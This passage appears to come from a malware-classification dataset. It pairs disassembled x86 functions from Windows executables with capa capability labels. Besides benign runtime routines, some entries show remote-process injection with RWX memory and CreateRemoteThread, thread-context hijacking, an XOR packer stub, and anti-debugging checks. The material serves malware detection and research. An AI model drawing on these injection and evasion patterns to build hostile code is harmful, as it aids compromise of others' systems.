joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c0db8
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push edi
push esi
push ebx
mov dword [ebp - 0xc], 0xffffffff
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0
cmp dword [0x4d8390], 0
je 0x4c0f59
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [0x4d8398]
jge 0x4c0e51
mov edx, dword [0x4d8390]
mov eax, dword [edx + 0x58]
mov dword [ebp - 0x24], eax
mov esi, dword [0x4d8398]
mov edi, dword [ebp - 0x24]
cmp dword [edi + ecx*4], 0xffffffff
je 0x4c0e4c
cmp ebx, 0xffffffff
jne 0x4c0e12
mov ebx, ecx
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4c0e2a
mov eax, dword [edx + 0x58]
cmp dword [eax + ecx*4], 0xffffffff
je 0x4c0e2a
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0xc], eax
mov eax, dword [edx + 0x58]
mov edi, dword [ebp - 0xc]
cmp dword [eax + ecx*4], edi
jge 0x4c0e3b
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0xc], eax
mov eax, dword [edx + 0x5c]
mov edi, dword [ebp - 0x14]
cmp dword [eax + ecx*4], edi
jle 0x4c0e4c
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0x14], eax
inc ecx
cmp ecx, esi
jl 0x4c0e02
cmp ebx, 0xffffffff
je 0x4c0f59
mov edx, dword [ebp - 0x10]
sub edx, ebx
inc edx
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
inc eax
imul edx, eax
add esp, 0xfffffff4
shl edx, 2
push edx
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x18], eax
add esp, 0x10
test eax, eax
je 0x4c0f59
mov dword [ebp - 0x20], 0
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0xc]
inc edx
mov eax, dword [ebp - 0x10]
sub eax, ebx
inc eax
shl eax, 0x10
movzx ecx, dx
or ecx, eax
mov dword [ebp - 0x1c], ecx
mov edx, ebx
shl edx, 0x10
movzx eax, word [ebp - 8]
mov dword [ebp - 8], eax
or dword [ebp - 8], edx
mov ecx, dword [ebp - 0x10]
shl ecx, 0x10
lea eax, [ebp - 8]
mov edx, dword [eax + 4]
movzx edx, dx
mov dword [eax + 4], edx
or dword [eax + 4], ecx
mov edi, dword [ebp - 0xc]
mov word [ebp - 8], di
mov edx, dword [ebp - 0x14]
mov word [eax + 4], dx
xor esi, esi
mov ecx, ebx
cmp ecx, dword [ebp - 0x10]
jg 0x4c0f32
mov eax, dword [0x4d8390]
mov eax, dword [eax + 0x54]
mov ebx, dword [eax + ecx*4]
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x14]
jg 0x4c0f13
mov al, byte [ebx + edx*4]
mov edi, dword [ebp - 0x18]
mov byte [edi + esi*4], al
mov eax, dword [ebx + edx*4]
shr eax, 0x13
movzx eax, byte [eax + 0x601120]
mov word [edi + esi*4 + 2], ax
inc esi
inc edx
cmp edx, dword [ebp - 0x14]
jle 0x4c0ef1
mov eax, dword [0x4d8390]
mov edx, dword [eax + 0x58]
mov dword [edx + ecx*4], 0xffffffff
mov eax, dword [eax + 0x5c]
mov dword [eax + ecx*4], 0xffffffff
inc ecx
cmp ecx, dword [ebp - 0x10]
jle 0x4c0ede
add esp, 0xfffffff4
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0x20]
push eax
mov edx, dword [ebp - 0x1c]
push edx
mov ecx, dword [ebp - 0x18]
push ecx
push dword [0x4d98a8]
call sub.KERNEL32.dll_WriteConsoleOutputA
mov edi, dword [ebp - 0x18]
push edi
call sub.msvcrt.dll_free
lea esp, [ebp - 0x48]
pop ebx
pop esi
pop edi
leave
ret
Function at 0x4c36c4
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push ebx
mov ebx, dword [ebp + 8]
call sub.msvcrt.dll__errno
mov dword [eax], 0
test ebx, ebx
jne 0x4c36f0
call sub.msvcrt.dll__errno
mov dword [eax], 0xe
xor eax, eax
jmp 0x4c388b
cmp byte [ebx], 0
je 0x4c371c
add esp, 0xfffffff4
push ebx
call sub.KERNEL32.dll_GetFileAttributesA
add esp, 0xc
cmp eax, 0xffffffff
jne 0x4c3718
call sub.msvcrt.dll__errno
mov dword [eax], 2
xor eax, eax
jmp 0x4c388b
test al, 0x10
jne 0x4c3730
call sub.msvcrt.dll__errno
mov dword [eax], 0x14
xor eax, eax
jmp 0x4c388b
mov edx, ebx
mov eax, ebx
and edx, 3
je 0x4c374f
jp 0x4c374a
cmp edx, 2
je 0x4c3745
cmp byte [eax], dh
je 0x4c3771
inc eax
cmp byte [eax], dh
je 0x4c3771
inc eax
cmp byte [eax], dh
je 0x4c3771
inc eax
mov edx, dword [eax]
test dl, dl
je 0x4c3771
test dh, dh
je 0x4c3770
test edx, 0xff0000
je 0x4c376f
add eax, 4
test edx, 0xff000000
jne 0x4c374f
sub eax, 3
inc eax
inc eax
add esp, 0xfffffff4
sub eax, ebx
add eax, 0x12e
push eax
call sub.msvcrt.dll_malloc
mov esi, eax
add esp, 0x10
test esi, esi
jne 0x4c379c
call sub.msvcrt.dll__errno
mov dword [eax], 0xc
xor eax, eax
jmp 0x4c388b
add esp, 0xfffffff8
push ebx
lea ebx, [esi + 0x12a]
push ebx
call sub.msvcrt.dll_strcpy
add esp, 0x10
cmp byte [esi + 0x12a], 0
je 0x4c3843
mov edx, ebx
mov eax, ebx
and edx, 2
je 0x4c37cf
cmp byte [eax], dh
je 0x4c37f1
inc eax
cmp byte [eax], dh
je 0x4c37f1
inc eax
mov edx, dword [eax]
test dl, dl
je 0x4c37f1
test dh, dh
je 0x4c37f0
test edx, 0xff0000
je 0x4c37ef
add eax, 4
test edx, 0xff000000
jne 0x4c37cf
sub eax, 3
inc eax
inc eax
cmp byte [eax - 1], 0x2f
je 0x4c3843
mov edx, ebx
mov eax, ebx
and edx, 2
je 0x4c380a
cmp byte [eax], dh
je 0x4c382c
inc eax
cmp byte [eax], dh
je 0x4c382c
inc eax
mov edx, dword [eax]
test dl, dl
je 0x4c382c
test dh, dh
je 0x4c382b
test edx, 0xff0000
je 0x4c382a
add eax, 4
test edx, 0xff000000
jne 0x4c380a
sub eax, 3
inc eax
inc eax
cmp byte [eax - 1], 0x5c
je 0x4c3843
add esp, 0xfffffff8
push 0x4c36c0
push ebx
call sub.msvcrt.dll_strcat
add esp, 0x10
add esp, 0xfffffff8
push 0x4c36c2
push ebx
call sub.msvcrt.dll_strcat
lea eax, [esi + 0x14]
mov dword [esi + 0x124], 0xffffffff
mov dword [esi + 0x120], eax
mov word [esi + 0x128], 0
mov eax, esi
mov dword [esi + 0x118], 0
mov word [esi + 0x11c], 0
mov word [esi + 0x11e], 0
lea esp, [ebp - 0x18]
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e072
nop
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x1c0f1c84
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e060
nop
nop
mov eax, section..rsrc
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x42e0d2
nop
mov ebx, 0x42cd70
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0xee8438c
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x5196e8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ecx, eax
xor eax, eax
push ebp
push 0x5198f8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x52b318]
mov eax, dword [eax]
xor edx, edx
push edx
push eax
mov eax, ecx
cdq
cmp edx, dword [esp + 4]
jne 0x51971b
cmp eax, dword [esp]
pop edx
pop eax
je 0x5198e2
mov eax, dword [0x52b318]
mov dword [eax], ecx
mov eax, dword [0x52b318]
cmp dword [eax], 0
jne 0x51973e
mov eax, 0x51990c
call fcn.00432c7c
mov eax, dword [0x52b430]
push eax
mov eax, dword [0x52b318]
mov eax, dword [eax]
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [0x52b430]
mov eax, dword [eax]
call fcn.004feafc
mov eax, dword [0x52b430]
mov eax, dword [eax]
push eax
push 0
push 0x1f0fff
call sub.KERNEL32.DLL_OpenProcess
mov edx, dword [0x52b2d4]
mov dword [edx], eax
push 0x40
push 0x1000
push 0x1000
push 0
mov eax, dword [0x52b2d4]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov edx, dword [0x52b690]
mov dword [edx], eax
push 0x40
push 0x1000
push 0x1000
push 0
mov eax, dword [0x52b2d4]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov edx, dword [0x52b454]
mov dword [edx], eax
call fcn.00519460
push 0x40
push 0x1000
push 0x1000
push 0
mov eax, dword [0x52b2d4]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov ebx, eax
mov eax, dword [0x52b76c]
mov dword [eax + 0x34], ebx
mov eax, dword [0x52b76c]
add ebx, 0x200
mov eax, dword [0x52b970]
mov dword [eax + 0x90], ebx
call fcn.005187ac
mov eax, dword [0x52b87c]
cmp dword [eax], 0
jne 0x519834
mov eax, dword [0x52b318]
mov eax, dword [eax]
push eax
mov ecx, dword [0x52b430]
mov ecx, dword [ecx]
mov dl, 1
mov eax, dword [0x51f9b8]
call fcn.005201cc
mov edx, dword [0x52b87c]
mov dword [edx], eax
jmp 0x51989c
mov eax, dword [0x52b87c]
mov eax, dword [eax]
mov eax, dword [eax + 0x334]
mov edx, dword [0x52b430]
cmp eax, dword [edx]
je 0x51989c
mov eax, dword [0x52b87c]
mov eax, dword [eax]
mov byte [eax + 0x348], 1
mov eax, dword [0x52b87c]
mov eax, dword [eax]
mov edx, 0x3e8
call fcn.0051fa38
mov eax, dword [0x52b318]
mov eax, dword [eax]
push eax
mov ecx, dword [0x52b430]
mov ecx, dword [ecx]
mov dl, 1
mov eax, dword [0x51f9b8]
call fcn.005201cc
mov edx, dword [0x52b87c]
mov dword [edx], eax
jmp 0x51989c
mov eax, dword [0x52b83c]
mov eax, dword [eax]
call fcn.0046132c
mov eax, dword [0x52ba40]
cmp byte [eax], 0
je 0x519890
push 0x12c
call sub.KERNEL32.DLL_Sleep_1
xor eax, eax
mov dword [ebp - 4], eax
push 4
lea ecx, [ebp - 4]
mov edx, 0x5201a0
mov eax, dword [0x52b87c]
mov eax, dword [eax]
call fcn.005200d0
lea eax, [ebp - 8]
call fcn.0051b388
mov edx, dword [ebp - 8]
mov eax, dword [0x52ba54]
mov eax, dword [eax]
call fcn.004683bc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5198ff
lea eax, [ebp - 8]
call fcn.00404718
ret
Function at 0x519bac
Capabilities:
Create thread
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
xor eax, eax
push ebp
push 0x519d20
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x52b9c4]
mov eax, dword [eax]
mov edx, dword [eax]
call dword [edx + 0x44]
mov eax, dword [0x52b768]
mov eax, dword [eax]
mov edx, dword [eax]
call dword [edx + 0x44]
mov eax, dword [0x52ba54]
mov eax, dword [eax]
mov eax, dword [eax + 0x300]
mov edx, dword [eax]
call dword [edx + 0xd8]
push 0
push 0x519d44
call sub.user32.dll_EnumWindows
mov eax, dword [0x52b9c4]
mov eax, dword [eax]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
jge 0x519c17
mov eax, 0x519d34
call fcn.00432c7c
jmp 0x519d0a
lea ecx, [ebp - 4]
mov eax, dword [0x52b9c4]
mov eax, dword [eax]
xor edx, edx
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 4]
call fcn.00409060
call fcn.005196e8
call fcn.00519af8
mov eax, dword [0x52ba54]
mov eax, dword [eax]
mov eax, dword [eax + 0x300]
xor edx, edx
mov ecx, dword [eax]
call dword [ecx + 0xd0]
mov eax, dword [0x52ba54]
mov eax, dword [eax]
mov ebx, dword [eax + 0x300]
mov edx, dword [0x52ba54]
mov edx, dword [edx]
mov eax, dword [ebx + 0x124]
call dword [ebx + 0x120]
mov eax, dword [0x52b4b4]
cmp dword [eax], 0
jne 0x519c90
mov dl, 1
mov eax, dword [0x5115c0]
call fcn.005116e4
mov edx, dword [0x52b4b4]
mov dword [edx], eax
mov eax, dword [0x52ba34]
cmp dword [eax], 0
jne 0x519cae
mov dl, 1
mov eax, dword [0x511620]
call fcn.00511a4c
mov edx, dword [0x52ba34]
mov dword [edx], eax
mov eax, dword [0x52b448]
cmp dword [eax], 0
jne 0x519ccc
mov dl, 1
mov eax, dword [0x511680]
call fcn.005117dc
mov edx, dword [0x52b448]
mov dword [edx], eax
mov eax, dword [0x52b994]
cmp dword [eax], 0
jne 0x519cf6
mov eax, dword [0x52b70c]
push eax
push 0
push 0
push 0x51750c
push 0
push 0
call sub.KERNEL32.DLL_CreateThread_1
mov edx, dword [0x52b994]
mov dword [edx], eax
mov eax, dword [0x52ba54]
mov eax, dword [eax]
mov eax, dword [eax + 0x30c]
mov dl, 1
call fcn.0043483c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x519d27
lea eax, [ebp - 4]
call fcn.00404718
ret
Function at 0x51c09c
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
xor edx, edx
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
movzx eax, byte [eax + 2]
mov dword [ebp - 4], eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
movzx eax, byte [eax + 2]
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 1
je 0x51c0d2
cmp dword [ebp - 8], 1
jne 0x51c0d4
mov dl, 1
mov eax, edx
pop ecx
pop ecx
pop ebp
ret
Function at 0x51fa38
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
call sub.KERNEL32.DLL_GetTickCount_1
xor edx, edx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
xor eax, eax
push ebp
push 0x51faba
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax + 0x349], 0
je 0x51fa78
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x51fac6
call sub.KERNEL32.DLL_GetTickCount_1
xor edx, edx
sub eax, dword [ebp - 0x18]
sbb edx, dword [ebp - 0x14]
push edx
push eax
mov eax, dword [ebp - 8]
xor edx, edx
cmp edx, dword [esp + 4]
jne 0x51fa9b
cmp eax, dword [esp]
pop edx
pop eax
jae 0x51faa9
jmp 0x51fa9f
pop edx
pop eax
jge 0x51faa9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x51fac6
push 0x64
call sub.KERNEL32.DLL_Sleep_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x51fa54
mov al, byte [ebp - 9]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x51ffb4
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov ebx, eax
mov dword [ebx + 0x124], 0x10010
mov eax, dword [ebx + 0x40]
mov dword [ebx + 0x128], eax
mov eax, dword [ebx + 0x44]
mov dword [ebx + 0x12c], eax
mov eax, dword [ebx + 0x48]
mov dword [ebx + 0x130], eax
mov eax, dword [ebx + 0x4c]
mov dword [ebx + 0x134], eax
mov dword [ebx + 0x13c], 0xff
mov eax, dword [ebx + 0x330]
call fcn.00405910
mov edi, eax
dec edi
test edi, edi
jl 0x520061
inc edi
xor esi, esi
lea ebp, [esi + esi*4]
mov edx, dword [ebx + 0x330]
mov edx, dword [edx + ebp*4 + 4]
mov eax, dword [ebx + 0x33c]
cmp edx, eax
je 0x520023
test eax, eax
jne 0x52005d
lea eax, [esi + esi*4]
mov edx, dword [ebx + 0x330]
mov eax, dword [edx + eax*4 + 4]
push eax
call sub.KERNEL32.DLL_SuspendThread
lea eax, [ebx + 0x124]
push eax
mov eax, dword [ebx + 0x330]
mov eax, dword [eax + ebp*4 + 4]
push eax
call sub.KERNEL32.DLL_SetThreadContext
mov eax, dword [ebx + 0x330]
mov eax, dword [eax + ebp*4 + 4]
push eax
call sub.KERNEL32.DLL_ResumeThread
inc esi
dec edi
jne 0x520008
mov al, byte [esp]
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x5200d0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x1000
push 0
mov eax, dword [ebx + 0x54]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov esi, eax
push 0x40
push 0x1000
mov eax, dword [ebp + 8]
add eax, 4
push eax
push 0
mov eax, dword [ebx + 0x54]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov edi, eax
lea eax, [ebp - 0x14]
push eax
push 0x32
mov eax, dword [ebp - 4]
push eax
push esi
mov eax, dword [ebx + 0x54]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp - 8]
push eax
push edi
mov eax, dword [ebx + 0x54]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
lea eax, [ebp - 0x14]
push eax
push 0
push edi
push esi
push 0
push 0
mov eax, dword [ebx + 0x54]
push eax
call sub.KERNEL32.DLL_CreateRemoteThread
mov dword [ebp - 0x10], eax
push 0xffffffffffffffff
mov eax, dword [ebp - 0x10]
push eax
call sub.KERNEL32.DLL_WaitForSingleObject
push 0x8000
push 0
push esi
mov eax, dword [ebx + 0x54]
push eax
call sub.KERNEL32.DLL_VirtualFreeEx
push 0x8000
push 0
push edi
mov eax, dword [ebx + 0x54]
push eax
call sub.KERNEL32.DLL_VirtualFreeEx
mov eax, dword [ebp - 0x10]
push eax
call sub.KERNEL32.DLL_CloseHandle_1
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x5207cc
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov eax, 0x520384
call fcn.00406928
xor eax, eax
push ebp
push 0x5209a1
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00513710
mov eax, dword [0x52b420]
mov dword [eax], 0xa3d70a4
mov dword [eax + 4], 0x3ffca3d7
call fcn.0051311c
call fcn.004ff5c4
call fcn.0051e964
mov eax, 0x22b9
call fcn.00403194
inc eax
mov edx, dword [0x52b888]
mov dword [edx], eax
lea edx, [ebp - 0x18]
mov eax, dword [0x52b83c]
mov eax, dword [eax]
call fcn.00461ae8
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.00409568
mov edx, dword [ebp - 0x14]
mov eax, dword [0x52b66c]
call fcn.0040476c
lea edx, [ebp - 0x1c]
mov eax, 2
call fcn.00402b54
mov eax, dword [ebp - 0x1c]
mov edx, 0x5209b8
call fcn.00404b24
je 0x520897
mov eax, dword [0x52b8e4]
push eax
push 0
push 0
push 0x51c0dc
push 0
push 0
call sub.KERNEL32.DLL_CreateThread_1
mov edx, dword [0x52b2c0]
mov dword [edx], eax
mov eax, dword [0x52b83c]
mov eax, dword [eax]
call fcn.00461440
lea edx, [ebp - 0x20]
mov eax, 3
call fcn.00402b54
mov eax, dword [ebp - 0x20]
mov edx, 0x5209dc
call fcn.00404b24
jne 0x5208d0
mov eax, dword [0x52b644]
mov edx, 0x5209f0
call fcn.0040476c
jmp 0x5208df
mov eax, dword [0x52b644]
mov edx, 0x520a18
call fcn.0040476c
mov ecx, dword [0x52b83c]
mov ecx, dword [ecx]
mov dl, 1
mov eax, dword [0x5083a0]
call fcn.00459b58
mov ebx, eax
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0xec]
dec eax
jne 0x52095f
mov eax, ebx
call fcn.004038e4
mov ecx, dword [0x52ba54]
mov eax, dword [0x52b83c]
mov eax, dword [eax]
mov edx, dword [0x509b70]
call fcn.00461458
mov ecx, dword [0x52b7c0]
mov eax, dword [0x52b83c]
mov eax, dword [eax]
mov edx, dword [0x50762c]
call fcn.00461458
mov ecx, dword [0x52b588]
mov eax, dword [0x52b83c]
mov eax, dword [eax]
mov edx, dword [0x509644]
call fcn.00461458
mov eax, dword [0x52b83c]
mov eax, dword [eax]
call fcn.004614d8
jmp 0x520986
xor eax, eax
push ebp
push 0x52097c
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00513420
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x520986
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5209a8
lea eax, [ebp - 0x20]
mov edx, 4
call fcn.0040473c
ret
Function at 0x402417
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x402456
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x402456
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402456
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x402456
cmp dword [ecx + 0x74], 0xe
jbe 0x402456
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40b26f
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40b30c
push ebx
push esi
call fcn.0040b238
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040b1cc
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40b2b9
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40b30b
push edi
push eax
call fcn.004081a5
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40b2d9
call fcn.0040816b
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40b30a
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040b1cc
add esp, 0x20
test eax, eax
jne 0x40b2f8
push edi
call fcn.0040816b
jmp 0x40b300
push ebx
call fcn.0040816b
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x40c3c9
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4161d0
push 0x4161c8
push str.FlsAlloc
push 0x1f
call fcn.0040c288
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40c3fd
push dword [ebp + 8]
mov ecx, esi
call dword [0x41411c]
call esi
jmp 0x40c403
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40c447
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4161e0
push 0x4161d8
push str.FlsGetValue
push 0x21
call fcn.0040c288
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40c47e
push dword [ebp + 8]
mov ecx, esi
call dword [0x41411c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40c486
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4161e8
push 0x4161e0
push str.FlsSetValue
push 0x22
call fcn.0040c288
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40c4c0
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x41411c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x413750
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41377d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41377d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x402e60
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov dword [0x40d029], eax
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push str.Marmimo
push str.Mimoclass
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x402ea8
xor eax, eax
jmp 0x402ec3
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x405473
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404365
and dword [ebp - 4], 0
cmp dword [0x40ea48], 0
mov ebx, eax
jne 0x405524
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4055d5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4055d5
push eax
call fcn.004042f3
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40ea48], eax
call esi
push eax
call fcn.004042f3
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40ea4c], eax
call esi
push eax
call fcn.004042f3
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40ea50], eax
call esi
push eax
call fcn.004042f3
pop ecx
mov dword [0x40ea58], eax
test eax, eax
je 0x405524
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004042f3
pop ecx
mov dword [0x40ea54], eax
mov eax, dword [0x40ea54]
cmp eax, ebx
je 0x40557c
cmp dword [0x40ea58], ebx
je 0x40557c
push eax
call fcn.0040436e
push dword [0x40ea58]
mov esi, eax
call fcn.0040436e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40557c
test edi, edi
je 0x40557c
call esi
test eax, eax
je 0x405573
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x405573
test byte [ebp - 0xc], 1
jne 0x40557c
or dword [ebp + 0x10], 0x200000
jmp 0x4055b5
mov eax, dword [0x40ea4c]
cmp eax, ebx
je 0x4055b5
push eax
call fcn.0040436e
pop ecx
test eax, eax
je 0x4055b5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4055b5
mov eax, dword [0x40ea50]
cmp eax, ebx
je 0x4055b5
push eax
call fcn.0040436e
pop ecx
test eax, eax
je 0x4055b5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40ea48]
call fcn.0040436e
pop ecx
test eax, eax
je 0x4055d5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4055d7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4072de
